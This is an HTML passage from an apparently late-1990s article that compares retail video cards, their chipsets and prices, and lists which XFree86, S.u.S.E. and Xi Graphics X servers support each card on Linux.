<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Dynamite 3D/GL</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$180</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Thriller 3D</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Rendition V2200</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$109</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Terminator 2X/i </FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Intel I740i</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$80</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Stingray 128 3D</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Unknown</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$160</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Terminator Beast </FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 Savage 3D</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$120</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Jaton S3 Video</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3ViRGE/DX</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$40</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>LEADTEK WinFast 2300</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$???</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Mystique G200</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MGA-G200</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$150</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millenium G200</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>MGA-G200</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$150</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>STB Velocity 128</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>RIVA TNT</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$150</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>STB Velocity 4400</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>RIVA TNT</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$200</FONT></FONT></TD>
</TR>
</TABLE></CENTER>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Its interesting to note the
differences in different cards from the same companies. For example,
upon examination of the packaging for the Matrox Mystique and Millenium
the only differences that I could find where that the Mystique runs at
230Mhz and has S-Video and Composite outputs whereas the Millenium runs
at 250Mhz and does not have S-Video or Composite outputs.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Again, these are the off
the shelf, "affordable" cards. Really high end cards can run into
the $2000-$3000 range and higher and chances are slim that most of those
cards have X server support yet. And there are plenty of other cards
out there too - like I said, vendors love to change minor details and release
it as a whole new product.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>What do the various vendors
currently support?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Ok, so now you know a little
about what video cards are currently available and a little about the 2D/3D
technology being used in them. How does this map to the available
X servers? That depends on which server vendor you want to use.
In this article we consider 4 vendors: XFree86, S.u.S.E (for their
binary only versions that currently require non-disclosure agreements),
Xi Graphics and MetroLink.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Of all the vendors, MetroLink
made it the easiest to find card names from their web site. SuSE's
site was pretty good about it too. Xi Graphics has a fairly decent
lookup system, but they mix chipsets with board vendors and if you don't
know what you're looking for it can be a bit confusing since they support
so many variations. XFree86, although they have plenty of documentation,
do not make it simple to match a card by name with a driver. Give
them credit for writing great software - now they need someone to organize
and collate all that documentation on their web site for the average user.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Red Hat has a hardware compatibility
list, but its not obvious where to find it. Try "JumpWords" at the
bottom of main page, choose "Hardware" and then the distribution you are
currently running. These lists are by far better than any of the
X server vendor lists because they tell you specifically which card goes
with which server. Since Red Hat is shipping the XFree86 server this
list is applicable to both S.u.S.E. and XFree86. Note: if you
get to this list via the Red Hat main site (www.redhat.com) and you want
to get a printable version of that page, select "No Frames" at the bottom
of the page. The link below, however, will take you straight to the
list.</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="http://www.redhat.com/support/docs/rhl/intel/rh51-hardware-intel-11.html">http://www.redhat.com/support/docs/rhl/intel/rh51-hardware-intel-11.html</A></FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Caldera's site does not have
any such obvious hardware compatibility list. A search for "hardware
compatibility" returns as the first entry a link to video card compatibility
list for XFree86 - but the link is invalid! They definitely need
to work on their site structure. Neither Slackware (via Walnut Creek's
web site) nor InfoMagic are set up to provide this sort of user information.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>XFree86</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This one is actually the
easiest of the bunch, but don't start your search on the XFree86 site to
figure it out. Instead, take a look at Red Hat's online list of supported
hardware. They have video cards listed there sorted by which
server supports which card.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Using the set of cards listed
previously, the following servers are expected to work (not all cards listed
previously were listed on the Red Hat supported hardware list):</FONT></FONT>
<BR>
<CENTER><TABLE BORDER=0 CELLSPACING=6 CELLPADDING=0 COLS=2 NOSAVE >
<TR NOSAVE>
<TD WIDTH="300" NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Video
Card</FONT></FONT></B></TD>
<TD NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>XFree86 Server
(all prefixed with "XF86_")</FONT></FONT></B></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI All in Wonder</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach64</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI Xpert@Play</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach64</FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics
Blaster Extreme, Professional Edition</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics Blaster
Extreme, Value Edition</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA</FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Viper V330</FONT></FONT></TD>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Stealth 2000</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3V</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Elsa WINNER 2000 / Office</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3V</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Dynamite 3D/GL </FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA (maybe)</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Terminator 2X/i</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA (maybe)</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Stingray 128 3D</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Jaton S3 Video</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3V (reported from one respondent)</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Mystique G200</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millenium G200</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>STB Velocity 128</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>STB Velocity 4400</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA (maybe)</FONT></FONT></TD>
</TR>
</TABLE></CENTER>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>You can, additionally, look
on the XFree86 site to get more information. The following list is
one I gathered from perusing the <A HREF="http://www.xfree86.com">www.xfree86.com</A>
web site. Note that many of the listed cards are older models and
not typically what you'll find on the shelves these days. Still,
you may be able to purchase some of these by mail order.</FONT></FONT>
<BR>
<TABLE BORDER COLS=2 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD WIDTH="120" NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Servers</FONT></FONT></B></TD>
<TD><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Cards</FONT></FONT></B></TD>
</TR>
<TR NOSAVE>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SVGA</FONT></FONT></TD>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI: GAWonder series:
VGAWonder V3, VGAWonder V4, VGAWonder V5, VGAWonder+, VGAWonder XL, VGAWonder
XL24, VGA Basic 16, VGA Edge, VGA Edge 16, VGA Integra, VGA Charger, VGAStereo
F/X, VGA 640, VGA 800, VGA 1024, VGA 1024D, VGA 1024 XL, VGA 1024 DXL,
VGA 1024 VLB</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox: Millennium
(MGA2064W) with Texas Instruments TVP3026 RAMDAC. It has been tested
with 175MHz, 220MHz and 250MHz versions of the card with 2MB, 4MB and 8MB
WRAM. Millennium II (MGA2164W) both PCI and AGP with Texas Instruments
TVP3026 RAMDAC. It has been tested with 220MHz and 250MHz versions
of the card with 4MB, 8MB and 16MB WRAM. Mystique with 170 and 220
MHz integrated RAMDACs (both MGA1064SG and MGA1164SG).</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach8 series</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Graphics Ultra, Graphics
Vantage, VGAWonder GT (None of the 8514/Ultra and 8514 Vantage series is
supported at this time)</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach32 series</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Graphics Ultra+, Graphics
Ultra Pro, Graphics Wonder, Graphics Ultra XLR, Graphics Ultra AXO, VLB
mach32-D, PCI mach32-D, ISA mach32</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Mach64 series</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Graphics Xpression, Graphics
Pro Turbo, Win Boost, Win Turbo, Graphics Pro Turbo 1600, Video Xpression,
3D Xpression, Video Xpression+, 3D Xpression+, All-In-Wonder, All-In-Wonder
PRO, 3D Pro Turbo, ATI-TV, XPERT@Play, XPERT@Work, XPERT XL</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Orchid Fahrenheit 1280+
VLB</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>STB PowerGraph X.24 S3 (ISA),
Pegasus VL, Velocity 64</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Stealth 24 VLB,
Stealth 64 DRAM</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA Winner 1000 ISA/EISA
(``TwinBus'', not Winner1000ISA!!), Winner 1000 VL, Winner1000PRO VLB,
Winner1000PRO PCI</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>#9 GXE Level 10, 11, 12,
14, 16, GXE64 - PCI, Pro VLB, Pro PCI, Trio64, FX Motion 771</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3V (ViRGE)</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Supports PCI hardware, ViRGE,
ViRGE/DX, ViRGE/GX, ViRGE/GX2, ViRGE/MX, and ViRGE/VX, but no specific
cards were listed. Newer support has been moved to the SVGA server.</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>P9000</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Viper VLB and PCI
cards</FONT></FONT></TD>
</TR>
</TABLE>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This is not a complete list,
but does cover most of the off the shelf cards you may run into at local
retailers or on the Internet.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>All binary versions of the
XFree86 servers can be found at <A HREF="ftp://ftp.XFree86.org/pub/XFree86/current/binaries/">ftp://ftp.XFree86.org/pub/XFree86/current/binaries/<OS></A></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>For example, Linux/Intel
would be under <A HREF="ftp://ftp.XFree86.org/pub/XFree86/current/binaries/Linux-ix86/Servers/">ftp://ftp.XFree86.org/pub/XFree86/current/binaries/Linux-ix86/Servers/</A>.</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Additionally, a properly
installed Linus system with the XFree86 run time system (which includes
X11 libraries, clients and X servers) should contain the file /usr/X11R6/lib/X11/Cards
listing the current known set of supported cards.</FONT></FONT>
<BR>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S.u.S.E</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SuSE (www.suse.com), which
is known primarily as a Linux distributor more than as an X server vendor,
has a searchable database of graphics cards. From their main page
choose "Hardware DB", then "Graphics Cards" from the scrollable list of
topics. The DB search results are fairly informative but are titled
in German. Don't let that throw you since the real info you're looking
for is basically language independent when its displayed.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Since S.u.S.E. ships the
XFree86 servers along with a few of their own servers (usually developed
initially under NDA until S.u.S.E. can get them into the XFree86 distribution),
I'll just list those servers for which I could not find an XFree86 server
specifically listed by Red Hat or the XFree86 web site.</FONT></FONT>
<BR>
<TABLE BORDER=0 CELLSPACING=3 CELLPADDING=0 COLS=2 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD WIDTH="120" NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Card</FONT></FONT></B></TD>
<TD NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Server</FONT></FONT></B></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Stealth II S220</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>rendition</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Fire GL 1000 Pro</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>glint</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Elsa GLoria Synergy</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>glint</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Thriller 3D</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>rendition</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>LEADTEK WinFast 2300 </FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>unknown - its listed but
no server is given</FONT></FONT></TD>
</TR>
</TABLE>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Additionally, S.u.S.E. servers
are based on XFree86 servers but with extended features. These updates
will be or have already been incorporated into the next XFree86 releases.</FONT></FONT>
<BR>
<TABLE BORDER=0 CELLPADDING=5 COLS=1 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD NOSAVE><U><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>XFCom_Matrox</FONT></FONT></U>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millennium G200 AGP</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millennium II (PCI
und AGP)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millennium</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Mystique</FONT></FONT></TD>
</TR>
</TABLE>
<TABLE BORDER=0 CELLPADDING=5 COLS=3 NOSAVE >
<TR NOSAVE>
<TD WIDTH="180" NOSAVE><U><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>XFCom_3DLabs
server</FONT></FONT></U></TD>
<TD WIDTH="180" NOSAVE></TD>
<TD></TD>
</TR>
<TR NOSAVE>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>GLINT MX + GLINT Delta +
IBM RGB 526DB:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA GLoria L/MX</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>GLINT 500TX + GLINT Delta +
IBM RGB 526DB:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA GLoria L</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>DIAMOND Fire GL 3000</FONT></FONT></BLOCKQUOTE>
</TD>
<TD VALIGN=TOP NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>GLINT
MX + GLINT Delta + IBM RGB 640:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA GLoria XL</FONT></FONT></BLOCKQUOTE>
<P><BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>PERMEDIA + GLINT Delta
+ IBM RGB 526DB:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA GLoria S</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>DIAMOND Fire GL 1000</FONT></FONT></BLOCKQUOTE>
</TD>
<TD VALIGN=TOP NOSAVE>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>PERMEDIA-2:</FONT></FONT></BLOCKQUOTE>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA GLoria Synergy</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA WINNER 2000/Office</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>DIAMOND Fire GL 1000 Pro</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>CREATIVE Blaster Exxtreme</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>LEADTEK WinFast 2300</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Basically, most cards with
Permedia 2 or Permedia 2v chipset (including AGP versions) should work.</FONT></FONT></BLOCKQUOTE>
</TD>
</TR>
</TABLE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>After searching the XFree86
sites (www.xfree86.com, Red Hat and S.u.S.E.) I was still unable to find
drivers for the following cards:</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics Blaster</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI Xpert 98</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Fire GL 1000</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Monster 3D</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Monster II</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Terminator Beast</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>All of the S.u.S.E specific
X servers can be found at <A HREF="http://www.suse.de/XSuSE/XSuSE_E.html">http://www.suse.de/XSuSE/XSuSE_E.html</A>.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Xi Graphics AcceleratedX</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Unlike the architecture of
the XFree86 project, the two commercial server vendors deliver what is
essentially a single driver with support for all video cards handled through
loadable object modules. The essential difference here is that with
the commercial vendors you load their package and then configure based
on card configurations without having to worry about which module to load.
Its a one-step difference, essentially, since with XFree86 you need to
know ahead of time which server to configure. With the commercial
vendors there is really just the one server, but you still have to give
it much of the same configuration information you have to give XFree86.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Unlike XFree86 and MetroLink,
Xi Graphics lists the Chip Type used in cards by their technical numbers
instead of their names. You can see this if, under Xsetup, you select
a Graphics Board and then hit TAB. The small window that opens lists
various card information, such as the ATI264GT Chip Type for the ATI All
In Wonder card. Although graphics cards vendors don't always list
the names of the chipsets (like 3D Rage or Rendition Verite), they are
even less likely to list the Chip Type. Fortunately, the set of named
boards in Xi Graphics lists is quite large and the need to find a specific
chipset may not be quite so important.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The following cards, from
the list of cards given previously, were found in the Xsetup tool under
Graphics Boards for the 4.1.2 server:</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI All in Wonder (3D Rage
II)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI All in Wonder Pro (3D
Rage Pro)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI Xpert@Play PCI and AGP
(3D Rage Pro)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Fire GL 1000 (Permedia
2)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Fire GL 1000 Pro
(Permedia 2)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Elsa GLoria Synergy (Permedia
2)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Elsa WINNER 2000 / Office
(Permedia 2)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Dynamite 3D/GL
(Permedia 2)</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Stingray 128 3D</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>LEADTEK WinFast 2300 (Permedia
2)</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The following cards were
not found specifically by name, but they may be supported anyway using
a configuration for a similar card. You need to check with Xi Graphics
to be certain. Remember: these cards might only have minor
differences from similar cards from the same vendor. However, since
Xi lists these with Chip Types instead of chipset names, its not obvious
that the card might work.</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI Xpert 98 (ATI Rage Turbo
chipset)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics Blaster
Extreme, Professional Edition (Permedia 2)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics Blaster
Extreme, Value Edition (Permedia 2)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics Blaster
(RIVA TNT)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Monster 3D (Permedia
2)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Monster II (Voodoo 2)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Stealth II S220 (Rendition
Verite)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Viper V330 (RIVA 128)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Viper V330 (RIVA 128)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Stealth 2000 (S3 ViRGE)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Thriller 3D (Rendition
V2200)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Terminator 2X/i (Intel
I740i)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hercules Terminator Beast (S3
Savage 3D)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Jaton S3 Video (S3ViRGE/DX)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Mystique G200 (MGA-G200)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox Millenium G200 (MGA-G200)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>STB Velocity 128 (RIVA TNT)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>STB Velocity 4400 (RIVA TNT)</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Additionally, Xi Graphics recently
announced support for hardware accelerated OpenGL in a demonstration only
version of their "Accelerated-X/OGL Technology Demo". Chips supported
include the Number 9 Ticket To Ride IV, 3Dlabs Permedia 2, Intel 740, 3Dlabs
GLINT Delta + MX, and SiS 6326. They also specify that Wacom tablets
are explicitly supported along with Logitech Magellan (a "spaceball" device).</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>XFree86 does not currently
support hardware accelerated OpenGL directly in their X servers.
A release date for the official version of Xi Graphics hardware accelerated
OpenGL has not been announced at the time of this writing.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Accelerated-X runs for $99.95
